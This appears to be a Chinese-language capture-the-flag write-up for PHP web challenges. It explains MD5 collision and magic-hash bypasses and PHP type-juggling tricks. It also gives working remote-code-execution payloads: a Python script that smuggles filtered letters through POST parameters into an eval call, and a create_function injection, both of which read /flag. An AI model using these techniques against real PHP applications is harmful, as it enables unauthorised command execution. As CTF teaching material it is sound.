Misc
Web
1.RCE但是没有完全RCE
<?php
error_reporting(0);
highlight_file(__FILE__);
include "level2.php";
if(isset($_GET['md5_1'] ) && isset($_GET['md5_2'])){
if((string)$_GET['md5_1']!==(string)$_GET['md5_2'] && md5($_GET['md5_1'])===md5($_GET['md5_2'])){
if(isset($_POST['md5_3']) && md5($_POST['md5_3'])==$_POST['md5_3']){
echo $level2;
}
else{
echo "2 Failed";
}
}
else{
echo "1 Failed";
}
}
第一步md5绕过。。。第一层是撞md5相同值用fastcoll。
第二层是'0e'开头的md5,用给定的字符串。如md5(CbDLytmyGm2xQyaLNhWn)
POST和GET分别对应URL中参数和POST中data。
成功后来到第二层
<?php
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
eval($shell($cmd));
匹配了f,l,a,g,通配符,?
,可以用多余的参数将限制绕过。
mapp = {
"f": "t",
"l": "r",
"a": "e",
"g": "s",
}
payload = """echo `cat /flag`;"""
cmd = ""
for i in payload:
if i in mapp:
cmd += f"$_POST[{mapp[i]}]"
else:
cmd += i
datasend = "shell=sprintf"
for k in mapp.keys():
datasend += f"&{mapp[k]}={k}"
import requests as r
url = "http://localhost:9000/3z_RC3.php"
res = r.post(
f"{url}?cmd={cmd}",
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=datasend,
)
r = __import__("re").search(r"flag{.*}", res.text)
print(r.group(0))
2.了解过PHP特性吗
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
echo 1;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
echo 2;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
echo 3;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
echo 4;
}
}
emm特性啥的...我妹学过php啊
搜出来了。。
1.preg_match绕过用数组传入绕过
2.同样的md5绕过..一个是数字一个是字符串is_num=240610708,ctype=QNKCDZO记得要反序一下(x
3.第一个科学计数法,第二个带字母的字符串114=1e9,514=99999999a
4.传入数组,NSS加上空格。
第二问
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss = $_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&&isset($nss)){
$nss_shell = create_function($shell,$nss);
}
create_function:类似lambda,但是没有调用,大概是这个样子:
function nss_shell($shell){
$nss
}
构造如下payload可以溢出:
shell=(啥都可以)&nss=}cmd;/*
补全之后是这样:
function nss_shell($shell){
}
cmd
/*
}
所以可以运行到cmd中的内容。
构造本题payload
shell=&nss=}echo `cat /flag`;/*
即可。